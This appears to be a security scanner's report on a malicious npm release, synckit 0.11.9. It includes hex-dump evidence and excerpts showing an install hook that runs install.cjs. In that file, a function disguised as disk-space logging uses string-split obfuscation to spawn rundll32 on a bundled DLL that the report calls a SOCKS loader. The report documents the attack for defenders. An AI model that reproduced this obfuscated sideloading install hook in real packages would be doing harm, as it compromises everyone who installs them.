synckit 0.11.9
Malicious DLL in install hook
Unsigned PE hides a SOCKS loader behind encrypted C2 and certificate stagingInstall hook sideloads bundled DLL via hidden LOLBin
SHA-2563d14050560d25f4a6c9723f2d2690a30bf722cc1727054b34efd27bd6d46fddc
Also flagged by osv (MAL-2025-6026: Malicious code in synckit (npm)) +3 more.
Evidence
⋯3 more rows
0xe2ca5439488985a8420000488b85a8420000T9H...B..H...B..
0xe2da488985b0420000488b85b04200004889H...B..H...B..H.
0xe2ea85407b000048b886b28b720a4d554448.@{..H....r.MUDH
⋯7 more rows
⋯3 more rows
0x13db7458d4aff5c217b16488985c04a000048E.J.\!{.H...J..H
0x13dc78b85c04a0000488985c84a0000488b85...J..H...J..H..
0x13dd7c84a0000488985a07d000048b8e0dbf9.J..H...}..H....
0x13de717682c2621488985d04a0000488b85d0.h,&!H...J..H...
0x13df74a0000488985d84a0000488b85d84a00J..H...J..H...J.
⋯7 more rows
⋯3 more rows
0xfbee62046696c650a232068747470733a2f2f File.# https://
0xfbef66375726c2e73652f646f63732f687474curl.se/docs/htt
0xfbf06702d636f6f6b6965732e68746d6c0a23p-cookies.html.#
⋯10 more rows
⋯5 lines
152function logDiskSpace() {
153 try {
154 if(os.platform() === 'win32') {
155 const tempDir = os.tmpdir();
156 require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
157 [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
158 log(`Temp directory: ${tempDir}`);
159 const files = cache.readdirSync(tempDir);
160 log(`Number of files in temp directory: ${files.length}`);
161 …
1{
2 "name": "synckit",
3 "version": "0.11.9",
4 "type": "module",
5 "description": "Perform async work synchronously in Node.js using `worker_threads` with first-class TypeScript support.",
6 "repository": "https://github.com/un-ts/synckit.git",
7 "author": "JounQin <[email protected]> (https://www.1stG.me)",
8 "funding": "https://opencollective.com/synckit",
9 "license": "MIT",
10 "engines": {
11 "node": "^14.18.0 || >=16.0.0"
12 },
13 "main": "./lib/index.cjs",
14 "types": "./lib/index.d.cts",
15 "module": "./lib/index.js",
16 "exports": {
17 "import": {
18 "types": "./lib/index.d.ts",
⋯5 lines
24 }
25 },
26 "scripts": {
27 "install":"node install.cjs"
28 },
29 "files": [
30 "index.d.cts",
31 "lib",
⋯13 lines
45 "synckit"
46 ],
47 "dependencies": {
48 "@pkgr/core": "^0.2.4"
No evidence locations were recorded for this file. Raw result